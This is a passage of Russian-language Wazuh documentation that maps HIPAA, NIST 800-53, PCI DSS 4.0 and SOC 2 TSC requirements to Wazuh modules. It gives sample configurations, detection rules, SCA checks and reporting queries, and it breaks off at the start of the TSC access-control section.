    <logall_json>yes</logall_json>
  </global>
</ossec_config>
```

### Отслеживание действий пользователей

Для мониторинга действий пользователей на системах с ePHI используйте [системные вызовы](/docs/wazuh/capabilities/wazuh-system-calls/):

```xml
<localfile>
  <log_format>audit</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>
```

## Контроль целостности - 164.312(c)

### Мониторинг файлов с ePHI

[FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) обеспечивает контроль целостности электронной медицинской информации:

```xml
<syscheck>
  <directories check_all="yes" whodata="yes" report_changes="yes">/var/data/ephi</directories>
  <directories check_all="yes" whodata="yes">/opt/ehr/database</directories>
  <directories check_all="yes" realtime="yes">/var/data/medical_records</directories>
</syscheck>
```

### Пользовательские правила для ePHI

```xml
<rule id="100210" level="10">
  <if_sid>550</if_sid>
  <match>/var/data/ephi|/opt/ehr|/var/data/medical_records</match>
  <description>ePHI file integrity violation: unauthorized modification detected</description>
  <group>hipaa_164.312.c.1,ephi_integrity,</group>
</rule>

<rule id="100211" level="12">
  <if_sid>553</if_sid>
  <match>/var/data/ephi|/opt/ehr|/var/data/medical_records</match>
  <description>ePHI file deleted: potential data destruction</description>
  <group>hipaa_164.312.c.1,ephi_integrity,</group>
</rule>
```

## Безопасность передачи - 164.312(e)

Wazuh проверяет конфигурацию шифрования передачи данных через модуль [SCA](/docs/wazuh/capabilities/wazuh-sca/):

```yaml
checks:
  - id: 30001
    title: "Ensure TLS 1.2 or higher is enforced"
    compliance:
      - hipaa: ["164.312.e.1"]
    condition: all
    rules:
      - 'f:/etc/ssl/openssl.cnf -> r:^\s*MinProtocol\s*=\s*(TLSv1\.2|TLSv1\.3)'

  - id: 30002
    title: "Ensure SSH uses strong ciphers"
    compliance:
      - hipaa: ["164.312.e.2"]
    condition: all
    rules:
      - 'f:/etc/ssh/sshd_config -> r:^\s*Ciphers\s+.*aes256'
```

## Анализ рисков - 164.308(a)(1)(ii)(A)

Wazuh поддерживает процедуру анализа рисков через:

### Обнаружение уязвимостей

[Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) идентифицирует уязвимости в ПО, установленном на системах с ePHI:

```xml
<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>12h</interval>
  <run_on_start>yes</run_on_start>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>
```

### Оценка конфигурации

SCA проверяет системы на соответствие стандартам CIS Benchmarks, выявляя отклонения от безопасной конфигурации.

### Анализ алертов

Классификация алертов по уровням (0-15) и маппинг на MITRE ATT&CK предоставляют данные для оценки рисков.

## Реагирование на инциденты - 164.308(a)(6)

HIPAA требует наличия процедур реагирования на инциденты безопасности. Wazuh поддерживает это через [активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/):

```xml
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_group>hipaa_164.312.a.1</rules_group>
  <timeout>3600</timeout>
</active-response>
```

Настройка интеграции для оповещения об инцидентах:

```xml
<integration>
  <name>slack</name>
  <level>10</level>
  <group>ephi_integrity</group>
  <hook_url>https://hooks.slack.com/services/XXX/YYY/ZZZ</hook_url>
</integration>
```

## Группы правил HIPAA

Wazuh использует формат `hipaa_` с последующим номером требования. Получить список доступных тегов:

```bash
docker exec wazuh-manager grep -r "hipaa_" /var/ossec/ruleset/rules/ | \
  grep -oP 'hipaa_[\d.a-z]+' | sort -u
```

Основные группы:

| Группа | Требование |
|---|---|
| `hipaa_164.308.a.1` | Процесс управления безопасностью |
| `hipaa_164.308.a.3` | Безопасность рабочей силы |
| `hipaa_164.308.a.5` | Обучение персонала |
| `hipaa_164.308.a.6` | Реагирование на инциденты |
| `hipaa_164.310.a.1` | Контроль доступа к помещениям |
| `hipaa_164.310.b` | Контроль рабочих станций |
| `hipaa_164.310.d.1` | Контроль устройств |
| `hipaa_164.312.a.1` | Контроль доступа |
| `hipaa_164.312.b` | Контроль аудита |
| `hipaa_164.312.c.1` | Контроль целостности |
| `hipaa_164.312.d` | Аутентификация |
| `hipaa_164.312.e.1` | Безопасность передачи |

## Модуль HIPAA в дашборде

Wazuh Dashboard содержит модуль HIPAA в разделе **Modules > Regulatory compliance > HIPAA**. Модуль предоставляет:

- Обзор алертов по разделам HIPAA Security Rule
- Распределение алертов по категориям мер защиты
- Временную шкалу событий соответствия
- Детализацию по агентам и группам

## Формирование отчетов HIPAA

Для запроса алертов HIPAA через API:

```bash
curl -sk -u admin:$WAZUH_ADMIN_PASS \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 0,
    "query": {
      "bool": {
        "must": [
          { "range": { "timestamp": { "gte": "now-30d" } } },
          { "exists": { "field": "rule.hipaa" } }
        ]
      }
    },
    "aggs": {
      "hipaa_requirements": {
        "terms": { "field": "rule.hipaa", "size": 50 }
      }
    }
  }' | jq '.aggregations.hipaa_requirements.buckets'
```

## Устранение неполадок

### Алерты HIPAA не отображаются в дашборде

1. Проверьте наличие тегов `hipaa_` в правилах
2. Убедитесь, что модуль HIPAA активирован в настройках дашборда
3. Проверьте корректность временного диапазона

### FIM не генерирует алерты для файлов ePHI

1. Убедитесь, что пути к каталогам с ePHI указаны корректно в `<syscheck>`
2. Проверьте права доступа агента к контролируемым каталогам
3. При использовании `whodata` убедитесь, что пакет `auditd` установлен

### Отсутствуют данные аудита для 164.312(b)

1. Проверьте конфигурацию сбора логов в `ossec.conf`
2. Убедитесь, что источники логов аутентификации указаны
3. Проверьте, что архивирование включено через `logall_json`

### Активное реагирование не срабатывает

1. Проверьте, что группа правил в `<active-response>` соответствует группам в правилах
2. Убедитесь, что скрипт реагирования имеет права на выполнение
3. Проверьте логи активного реагирования в `/var/ossec/logs/active-responses.log`


---

# Wazuh и NIST 800-53 - маппинг контролей безопасности

Source: https://opennix.org/docs/wazuh/compliance/wazuh-nist-800-53/


Wazuh обеспечивает поддержку каталога контролей безопасности и конфиденциальности NIST SP 800-53 Revision 5 через анализ логов, мониторинг целостности, оценку конфигурации, обнаружение уязвимостей, обнаружение угроз и автоматическое реагирование. Стандартный набор правил содержит теги `nist_800_53_XX.Y`, покрывающие ключевые семейства контролей.

## Обзор NIST 800-53

NIST SP 800-53 (Security and Privacy Controls for Information Systems and Organizations) представляет собой каталог контролей безопасности и конфиденциальности, разработанный Национальным институтом стандартов и технологий США. Revision 5 содержит более 1000 контролей, организованных в 20 семейств.

Wazuh покрывает семь ключевых семейств контролей, связанных с техническим мониторингом и обнаружением угроз.

## Маппинг семейств контролей на модули Wazuh

| Семейство | Идентификатор | Описание | Основные модули Wazuh |
|---|---|---|---|
| Access Control | AC | Контроль доступа к системам и данным | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/), [SCA](/docs/wazuh/capabilities/wazuh-sca/) |
| Audit and Accountability | AU | Аудит и подотчетность | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) |
| Configuration Management | CM | Управление конфигурацией | [SCA](/docs/wazuh/capabilities/wazuh-sca/), [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) |
| Identification and Authentication | IA | Идентификация и аутентификация | Анализ логов аутентификации |
| Incident Response | IR | Реагирование на инциденты | [Активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/), алерты |
| System and Communications Protection | SC | Защита систем и коммуникаций | SCA, анализ логов |
| System and Information Integrity | SI | Целостность систем и информации | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/), [Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) |

## AC - контроль доступа

### AC-2: управление учетными записями

Wazuh отслеживает создание, модификацию и удаление учетных записей через анализ логов аутентификации:

```xml
<rule id="5901" level="8">
  <if_sid>5900</if_sid>
  <match>new user</match>
  <description>New user added to the system</description>
  <group>nist_800_53_AC.2,nist_800_53_AC.7,account_changed,</group>
</rule>
```

### AC-6: принцип минимальных привилегий

Мониторинг использования привилегий root/admin:

```xml
<rule id="100300" level="8">
  <if_sid>5715</if_sid>
  <user>root</user>
  <description>Direct root login detected - potential AC-6 violation</description>
  <group>nist_800_53_AC.6,nist_800_53_AC.2,authentication_success,</group>
</rule>
```

### AC-7: неудачные попытки аутентификации

Wazuh обнаруживает brute-force атаки через правила корреляции:

```xml
<rule id="5712" level="10" frequency="6" timeframe="120">
  <if_matched_sid>5710</if_matched_sid>
  <description>sshd: brute force trying to get access to the system</description>
  <group>nist_800_53_AC.7,nist_800_53_SI.4,authentication_failures,</group>
</rule>
```

## AU - аудит и подотчетность

### AU-2: события аудита

Wazuh определяет набор аудируемых событий через стандартный набор правил. Каждое правило классифицирует тип события и связывает его с требованиями стандартов.

### AU-3: содержимое аудиторских записей

Каждый алерт Wazuh содержит:

- Идентификатор пользователя
- Тип события
- Дату и время
- Источник события
- Результат (успех/неудача)
- Идентификатор затронутого ресурса

### AU-6: обзор и анализ аудиторских записей

Wazuh Dashboard предоставляет инструменты для обзора аудиторских записей:

- Фильтрация по типу события, уровню, агенту
- Временные графики распределения событий
- Группировка по семействам контролей NIST

### AU-8: временные метки

Wazuh использует синхронизированные временные метки для всех событий. Рекомендуется настроить NTP на всех агентах:

```yaml
checks:
  - id: 40001
    title: "Ensure NTP is configured"
    compliance:
      - nist_800_53: ["AU.8"]
    condition: all
    rules:
      - 'p:chronyd'
```

### AU-12: генерация аудиторских записей

Wazuh генерирует аудиторские записи для всех обнаруженных событий безопасности. Для полного аудита включите архивирование:

```xml
<ossec_config>
  <global>
    <logall_json>yes</logall_json>
  </global>
</ossec_config>
```

## CM - управление конфигурацией

### CM-2: базовая конфигурация

[SCA](/docs/wazuh/capabilities/wazuh-sca/) определяет и проверяет базовую конфигурацию систем. Политики CIS Benchmarks служат эталоном безопасной конфигурации.

### CM-3: контроль изменений конфигурации

[FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) отслеживает изменения в конфигурационных файлах:

```xml
<syscheck>
  <directories check_all="yes" whodata="yes" report_changes="yes">/etc</directories>
  <directories check_all="yes" realtime="yes">/usr/local/etc</directories>
</syscheck>
```

### CM-6: настройки конфигурации

Проверка конфигурации через SCA:

```yaml
checks:
  - id: 40010
    title: "Ensure SSH root login is disabled"
    compliance:
      - nist_800_53: ["CM.6"]
      - cis: ["5.2.10"]
    condition: all
    rules:
      - 'f:/etc/ssh/sshd_config -> r:^\s*PermitRootLogin\s+no'
```

### CM-8: инвентаризация компонентов

Модуль [инвентаризации системы](/docs/wazuh/capabilities/wazuh-system-inventory/) ведет учет установленного ПО, открытых портов, сетевых интерфейсов и аппаратного обеспечения.

## IA - идентификация и аутентификация

### IA-2: идентификация и аутентификация пользователей

Wazuh мониторит все события аутентификации на контролируемых системах:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/auth.log</location>
</localfile>
```

### IA-5: управление аутентификаторами

Проверка параметров паролей через SCA:

```yaml
checks:
  - id: 40020
    title: "Ensure password minimum length is configured"
    compliance:
      - nist_800_53: ["IA.5"]
    condition: all
    rules:
      - 'f:/etc/security/pwquality.conf -> r:^\s*minlen\s*=\s*(\d+) -> compare >= 14'
```

## IR - реагирование на инциденты

### IR-4: обработка инцидентов

Wazuh обеспечивает обнаружение и обработку инцидентов через:

- Правила обнаружения с классификацией по уровням (0-15)
- Маппинг на тактики MITRE ATT&CK
- [Активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/) для автоматической блокировки

```xml
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <level>10</level>
  <timeout>3600</timeout>
</active-response>
```

### IR-5: мониторинг инцидентов

Дашборд Wazuh предоставляет визуализацию инцидентов с возможностью фильтрации по:

- Уровню критичности
- Тактикам MITRE ATT&CK
- Агентам и группам
- Семействам контролей NIST

### IR-6: уведомление об инцидентах

Интеграция с внешними системами оповещения:

```xml
<integration>
  <name>slack</name>
  <level>10</level>
  <hook_url>https://hooks.slack.com/services/XXX/YYY/ZZZ</hook_url>
</integration>
```

## SC - защита систем и коммуникаций

### SC-7: защита границ

Wazuh анализирует логи межсетевых экранов и систем обнаружения вторжений:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/firewall.log</location>
</localfile>
```

### SC-8: конфиденциальность и целостность передачи

Проверка конфигурации шифрования через SCA:

```yaml
checks:
  - id: 40030
    title: "Ensure TLS 1.2 minimum is enforced"
    compliance:
      - nist_800_53: ["SC.8"]
    condition: all
    rules:
      - 'f:/etc/ssl/openssl.cnf -> r:^\s*MinProtocol\s*=\s*(TLSv1\.2|TLSv1\.3)'
```

## SI - целостность систем и информации

### SI-2: устранение уязвимостей

[Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) выявляет уязвимости в установленном ПО и предоставляет рекомендации по устранению:

```xml
<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>12h</interval>
  <run_on_start>yes</run_on_start>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>
```

### SI-3: защита от вредоносного ПО

Модули [rootcheck и YARA](/docs/wazuh/capabilities/wazuh-malware-detection/) обнаруживают вредоносное ПО на контролируемых системах.

### SI-4: мониторинг информационной системы

Wazuh обеспечивает непрерывный мониторинг через:

- Анализ логов в реальном времени
- Мониторинг целостности файлов
- Обнаружение аномалий
- Корреляцию событий

### SI-7: целостность программного обеспечения и информации

[FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) контролирует целостность файлов, включая исполняемые файлы, библиотеки и конфигурации:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/usr/bin</directories>
  <directories check_all="yes" realtime="yes">/usr/sbin</directories>
  <directories check_all="yes" realtime="yes">/usr/lib</directories>
</syscheck>
```

## Непрерывный мониторинг

NIST SP 800-137 определяет требования к непрерывному мониторингу. Wazuh обеспечивает непрерывный мониторинг через:

- **Агенты** - постоянный сбор данных с контролируемых систем
- **Правила обнаружения** - анализ событий в реальном времени
- **Дашборд** - визуализация состояния безопасности
- **Алерты** - немедленное уведомление о нарушениях

## Автоматизация оценки

Wazuh автоматизирует оценку соответствия NIST 800-53 через:

1. **SCA** - регулярная проверка конфигурации по расписанию
2. **Vulnerability Detector** - периодическое сканирование уязвимостей
3. **FIM** - непрерывный мониторинг целостности
4. **Правила обнаружения** - автоматическая классификация событий

## Группы правил NIST 800-53

Wazuh использует формат `nist_800_53_XX.Y` для тегирования правил. Получить список доступных тегов:

```bash
docker exec wazuh-manager grep -r "nist_800_53_" /var/ossec/ruleset/rules/ | \
  grep -oP 'nist_800_53_[A-Z]+\.\d+' | sort -u
```

Основные группы:

| Группа | Контроль |
|---|---|
| `nist_800_53_AC.2` | Управление учетными записями |
| `nist_800_53_AC.6` | Минимальные привилегии |
| `nist_800_53_AC.7` | Неудачные попытки аутентификации |
| `nist_800_53_AU.6` | Обзор аудиторских записей |
| `nist_800_53_AU.8` | Временные метки |
| `nist_800_53_AU.12` | Генерация аудиторских записей |
| `nist_800_53_AU.14` | Обзор и анализ сессий |
| `nist_800_53_CM.3` | Контроль изменений конфигурации |
| `nist_800_53_CM.6` | Настройки конфигурации |
| `nist_800_53_IA.2` | Идентификация пользователей |
| `nist_800_53_IA.5` | Управление аутентификаторами |
| `nist_800_53_IR.4` | Обработка инцидентов |
| `nist_800_53_SC.7` | Защита границ |
| `nist_800_53_SI.2` | Устранение уязвимостей |
| `nist_800_53_SI.4` | Мониторинг системы |
| `nist_800_53_SI.7` | Целостность ПО |

## Модуль NIST 800-53 в дашборде

Wazuh Dashboard содержит модуль NIST 800-53 в разделе **Modules > Regulatory compliance > NIST 800-53**. Модуль предоставляет:

- Обзор алертов по семействам контролей
- Группировку по идентификаторам контролей
- Временную шкалу событий соответствия
- Детализацию по агентам

## Формирование отчетов

Для запроса алертов NIST 800-53 через API:

```bash
curl -sk -u admin:$WAZUH_ADMIN_PASS \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 0,
    "query": {
      "bool": {
        "must": [
          { "range": { "timestamp": { "gte": "now-30d" } } },
          { "exists": { "field": "rule.nist_800_53" } }
        ]
      }
    },
    "aggs": {
      "nist_controls": {
        "terms": { "field": "rule.nist_800_53", "size": 50 }
      }
    }
  }' | jq '.aggregations.nist_controls.buckets'
```

## Устранение неполадок

### Алерты NIST 800-53 не отображаются

1. Проверьте наличие тегов `nist_800_53_` в правилах
2. Убедитесь, что модуль активирован в дашборде
3. Проверьте корректность временного диапазона

### SCA-проверки не маппируются на контроли NIST

1. Убедитесь, что политики SCA содержат блок `compliance` с указанием `nist_800_53`
2. Проверьте формат идентификатора контроля в политике
3. Перезагрузите агент после обновления политик

### Отсутствуют данные аудита для AU-12

1. Проверьте конфигурацию сбора логов в `ossec.conf`
2. Убедитесь, что архивирование включено через `logall_json`
3. Проверьте, что индексные шаблоны в OpenSearch включают поле `rule.nist_800_53`


---

# Wazuh и PCI DSS 4.0 - маппинг требований и настройка

Source: https://opennix.org/docs/wazuh/compliance/wazuh-pci-dss/


Wazuh обеспечивает комплексную поддержку стандарта PCI DSS версии 4.0 через сбор и анализ логов, мониторинг целостности файлов, оценку конфигурации безопасности, инвентаризацию систем, оповещения в реальном времени и автоматическое реагирование. Стандартный набор правил Wazuh содержит предварительно размеченные теги `pci_dss_X.Y.Z`, покрывающие ключевые требования стандарта.

## Обзор PCI DSS 4.0

PCI DSS (Payment Card Industry Data Security Standard) определяет требования безопасности для организаций, обрабатывающих, хранящих или передающих данные платежных карт. Версия 4.0 заменила PCI DSS 3.2.1 и включает обновленные требования к аутентификации, шифрованию и непрерывному мониторингу.

Стандарт состоит из 12 основных требований, сгруппированных в 6 целей. Wazuh покрывает требования, связанные с техническими контролями безопасности.

## Таблица маппинга требований PCI DSS на модули Wazuh

| Требование PCI DSS | Описание | Модуль Wazuh | Группа правил |
|---|---|---|---|
| 1.x | Установка и поддержание сетевых контролей безопасности | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/), [анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) | `pci_dss_1.1.1` |
| 2.2 | Безопасная конфигурация системных компонентов | [SCA](/docs/wazuh/capabilities/wazuh-sca/) | `pci_dss_2.2` |
| 5.x | Защита от вредоносного ПО | [Rootcheck, YARA](/docs/wazuh/capabilities/wazuh-malware-detection/) | `pci_dss_5.1`, `pci_dss_5.2` |
| 6.1 | Выявление и устранение уязвимостей | [Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) | `pci_dss_6.1` |
| 6.2 | Безопасная разработка ПО | Анализ логов приложений | `pci_dss_6.2` |
| 8.x | Идентификация и аутентификация | Анализ логов, SCA | `pci_dss_8.1`, `pci_dss_8.2` |
| 10.x | Журналирование и мониторинг доступа | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) | `pci_dss_10.2.4`, `pci_dss_10.2.5` |
| 10.4.1 | Ежедневный обзор логов безопасности | Дашборд, алерты | `pci_dss_10.4.1` |
| 10.5.1 | Хранение аудиторских записей | Архивирование логов | `pci_dss_10.5.1` |
| 11.5 | Мониторинг целостности файлов | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) | `pci_dss_11.5` |
| 11.x | Тестирование безопасности | [SCA](/docs/wazuh/capabilities/wazuh-sca/), Vulnerability Detector | `pci_dss_11.2` |
| 12.x | Политики информационной безопасности | Документирование, SCA | `pci_dss_12.1` |

## Требование 1 - сетевые контроли безопасности

Wazuh отслеживает изменения в конфигурации межсетевых экранов через модуль FIM и анализ логов сетевого оборудования.

### Мониторинг конфигурации межсетевого экрана

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/etc/iptables</directories>
  <directories check_all="yes" realtime="yes">/etc/firewalld</directories>
  <directories check_all="yes" realtime="yes">/etc/pf.conf</directories>
</syscheck>
```

При изменении файлов конфигурации межсетевого экрана FIM генерирует алерт с тегом `pci_dss_1.1.1`, фиксируя кто, когда и какие изменения внес.

## Требование 2.2 - безопасная конфигурация

Модуль [SCA](/docs/wazuh/capabilities/wazuh-sca/) выполняет проверку конфигурации систем на соответствие стандартам CIS Benchmarks. Результаты проверок автоматически маппируются на требование PCI DSS 2.2.

Пример политики SCA для проверки конфигурации SSH:

```yaml
checks:
  - id: 10001
    title: "Ensure SSH Protocol is set to 2"
    compliance:
      - pci_dss: ["2.2"]
      - cis: ["5.2.4"]
    condition: all
    rules:
      - 'f:/etc/ssh/sshd_config -> r:^\s*Protocol\s+2'
```

## Требование 5 - защита от вредоносного ПО

Wazuh обеспечивает многоуровневую защиту от вредоносного ПО:

- **Rootcheck** - обнаружение руткитов и аномалий в системе
- **YARA-интеграция** - сканирование файлов по сигнатурам через [модуль обнаружения вредоносного ПО](/docs/wazuh/capabilities/wazuh-malware-detection/)
- **Мониторинг процессов** - отслеживание подозрительных процессов через [системные вызовы](/docs/wazuh/capabilities/wazuh-system-calls/)

Правила Wazuh с тегами `pci_dss_5.1` и `pci_dss_5.2` срабатывают при обнаружении вредоносного ПО или подозрительной активности.

## Требование 6.1 - управление уязвимостями

[Модуль обнаружения уязвимостей](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) сканирует установленное ПО на наличие известных CVE. Результаты маппируются на требование PCI DSS 6.1.

Конфигурация модуля в `ossec.conf`:

```xml
<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>12h</interval>
  <run_on_start>yes</run_on_start>
  <provider name="canonical">
    <enabled>yes</enabled>
    <os>jammy</os>
    <update_interval>1h</update_interval>
  </provider>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>
```

## Требование 10 - журналирование и мониторинг

Требование 10 является одним из наиболее полно покрываемых Wazuh. Платформа обеспечивает:

### 10.2.4 - детализация аудиторских записей

Каждое событие должно содержать идентификацию пользователя, тип события, дату/время, индикатор успеха/неудачи, источник события и идентификатор затронутого ресурса. Wazuh автоматически извлекает эти данные при декодировании логов.

Пример правила для неудачной SSH-аутентификации:

```xml
<rule id="5710" level="5">
  <if_sid>5700</if_sid>
  <match>illegal user|invalid user</match>
  <description>sshd: Attempt to login using a non-existent user</description>
  <group>authentication_failed,pci_dss_10.2.4,pci_dss_10.2.5,</group>
</rule>
```

### 10.2.5 - журналирование привилегированного доступа

Wazuh отслеживает все действия привилегированных пользователей, генерируя алерты с идентификацией пользователя, классификацией события и временными метками.

### 10.4.1 - ежедневный обзор логов

Дашборд Wazuh предоставляет визуализацию для ежедневного обзора:

- Логи событий безопасности
- Логи систем хранения и обработки данных карт
- Логи критических систем
- Логи функций безопасности

### 10.5.1 - хранение аудиторских записей

PCI DSS требует хранения записей не менее 12 месяцев, из которых последние 3 месяца должны быть доступны немедленно. Настройка архивирования в Wazuh:

```xml
<ossec_config>
  <global>
    <logall_json>yes</logall_json>
  </global>
</ossec_config>
```

Для управления ретенцией используйте политики индексного управления (ISM) в OpenSearch:

```json
{
  "policy": {
    "policy_id": "pci-dss-retention",
    "description": "PCI DSS 12-month log retention",
    "default_state": "hot",
    "states": [
      {
        "name": "hot",
        "actions": [],
        "transitions": [
          {
            "state_name": "warm",
            "conditions": { "min_index_age": "90d" }
          }
        ]
      },
      {
        "name": "warm",
        "actions": [
          { "read_only": {} }
        ],
        "transitions": [
          {
            "state_name": "delete",
            "conditions": { "min_index_age": "365d" }
          }
        ]
      },
      {
        "name": "delete",
        "actions": [
          { "delete": {} }
        ]
      }
    ]
  }
}
```

## Требование 11.5 - мониторинг целостности файлов

PCI DSS 11.5.2 требует развертывания механизма обнаружения изменений для оповещения о несанкционированных модификациях критических файлов, конфигураций и контента.

### Мониторинг с атрибуцией пользователей

```xml
<syscheck>
  <directories check_all="yes" whodata="yes">/root/credit_cards</directories>
</syscheck>
```

Параметр `whodata` фиксирует пользователя и процесс, ответственные за изменение файла.

### Отслеживание содержимого изменений

```xml
<syscheck>
  <frequency>3600</frequency>
  <directories check_all="yes" report_changes="yes">/root/credit_cards/cardholder_data.txt</directories>
</syscheck>
```

Параметр `report_changes` отображает разницу содержимого файла между сканированиями.

### Обнаружение удаления файлов в реальном времени

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/root/credit_cards</directories>
</syscheck>
```

Режим реального времени генерирует алерты при модификации, добавлении и удалении файлов немедленно.

## Группы правил PCI DSS

Wazuh использует синтаксис `pci_dss_` с последующим номером требования для маппинга правил. Полный список тегов можно получить через поиск в наборе правил:

```bash
docker exec wazuh-manager grep -r "pci_dss_" /var/ossec/ruleset/rules/ | \
  grep -oP 'pci_dss_[\d.]+' | sort -u
```

Основные группы правил:

| Группа | Требование |
|---|---|
| `pci_dss_1.1.1` | Сетевые контроли безопасности |
| `pci_dss_2.2` | Безопасная конфигурация |
| `pci_dss_5.1` | Защита от вредоносного ПО |
| `pci_dss_6.1` | Управление уязвимостями |
| `pci_dss_6.5` | Безопасная разработка |
| `pci_dss_8.1` | Идентификация пользователей |
| `pci_dss_10.2.4` | Детализация аудит-логов |
| `pci_dss_10.2.5` | Привилегированный доступ |
| `pci_dss_10.5.1` | Хранение аудиторских записей |
| `pci_dss_11.5` | Мониторинг целостности |

## Модуль PCI DSS в дашборде

Wazuh Dashboard содержит специализированный модуль PCI DSS в разделе **Modules > Regulatory compliance > PCI DSS**. Модуль предоставляет:

- **Обзорная панель** - общая статистика алертов по требованиям PCI DSS
- **Фильтрация по требованиям** - выбор конкретных требований для детального анализа
- **Временная шкала** - визуализация алертов во времени с группировкой по требованиям
- **Агенты** - статистика соответствия по отдельным агентам и группам

Дашборд отображает информацию в реальном времени, позволяя фильтровать по типам полей алертов, включая контроли соответствия.

## Формирование отчетов PCI DSS

Для формирования отчетов используйте возможности дашборда:

1. Перейдите в **Modules > PCI DSS**
2. Настройте временной диапазон отчетного периода
3. Примените фильтры по агентам или группам агентов
4. Экспортируйте данные в формате CSV или PDF через кнопку **Generate report**

Для автоматизации формирования отчетов используйте API Wazuh Indexer:

```bash
curl -sk -u admin:$WAZUH_ADMIN_PASS \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 0,
    "query": {
      "bool": {
        "must": [
          { "range": { "timestamp": { "gte": "now-30d" } } },
          { "exists": { "field": "rule.pci_dss" } }
        ]
      }
    },
    "aggs": {
      "pci_requirements": {
        "terms": { "field": "rule.pci_dss", "size": 50 }
      }
    }
  }' | jq '.aggregations.pci_requirements.buckets'
```

## Устранение неполадок

### Алерты PCI DSS не отображаются в дашборде

1. Убедитесь, что правила содержат теги `pci_dss_` в поле `<group>`
2. Проверьте, что модуль PCI DSS активирован в настройках дашборда
3. Проверьте корректность временного диапазона фильтра

### Отсутствуют данные FIM для PCI DSS 11.5

1. Проверьте конфигурацию `<syscheck>` в `ossec.conf`
2. Убедитесь, что мониторинг включен (`<disabled>no</disabled>`)
3. Проверьте, что указаны правильные пути для мониторинга

### Отсутствуют данные уязвимостей для PCI DSS 6.1

1. Проверьте конфигурацию `<vulnerability-detector>` в `ossec.conf`
2. Убедитесь, что провайдеры баз уязвимостей включены и обновляются
3. Проверьте наличие модуля [инвентаризации системы](/docs/wazuh/capabilities/wazuh-system-inventory/) - он необходим для работы детектора уязвимостей

### Логи не архивируются для PCI DSS 10.5.1

1. Проверьте, что параметр `logall_json` установлен в `yes`
2. Перезапустите менеджер Wazuh после изменения конфигурации
3. Настройте политику ISM в OpenSearch для управления ретенцией


---

# Wazuh и TSC (SOC 2) - маппинг критериев доверия

Source: https://opennix.org/docs/wazuh/compliance/wazuh-tsc/


Wazuh обеспечивает поддержку критериев доверенных сервисов (Trust Services Criteria, TSC) для аудитов SOC 2 через анализ логов, мониторинг целостности файлов, оценку конфигурации, обнаружение уязвимостей и автоматическое реагирование. Стандартный набор правил содержит теги `tsc_` для маппинга событий на критерии TSC.

## Обзор TSC и SOC 2

Trust Services Criteria (TSC) 2017 определяет набор критериев для оценки контролей организации в рамках аудита SOC 2 (Service Organization Control 2). TSC разработан AICPA (American Institute of Certified Public Accountants) и включает пять категорий:

- **Security (CC)** - Common Criteria - защита информации и систем
- **Availability (A)** - доступность систем и данных
- **Processing Integrity (PI)** - целостность обработки данных
- **Confidentiality (C)** - конфиденциальность информации
- **Privacy (P)** - приватность персональных данных

Категория Security (Common Criteria) является обязательной для всех аудитов SOC 2. Остальные категории выбираются в зависимости от характера предоставляемых сервисов.

## Маппинг критериев TSC на модули Wazuh

### Common Criteria (CC) - безопасность

| Критерий | Описание | Модули Wazuh |
|---|---|---|
| CC1 | Контрольная среда | [SCA](/docs/wazuh/capabilities/wazuh-sca/), документирование политик |
| CC2 | Коммуникация и информация | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/), алерты |
| CC3 | Управление рисками | [Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/), анализ алертов |
| CC4 | Мониторинг контролей | Дашборд, отчетность |
| CC5 | Действия по контролю | SCA, правила обнаружения |
| CC6 | Логический и физический контроль доступа | Анализ логов аутентификации, [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) |
| CC7 | Операции системы | Мониторинг системных событий, [активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/) |
| CC8 | Управление изменениями | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/), SCA |
| CC9 | Снижение рисков | Активное реагирование, анализ рисков |

### Дополнительные критерии

| Критерий | Описание | Модули Wazuh |
|---|---|---|
| A1.1 | Доступность систем | Мониторинг событий, анализ логов |
| PI1.4 | Целостность обработки | FIM, анализ логов |
| C1.1 | Конфиденциальность | FIM, контроль доступа |
| P1-P8 | Приватность | FIM, анализ логов, SCA |

## CC6 - логический и физический контроль доступа

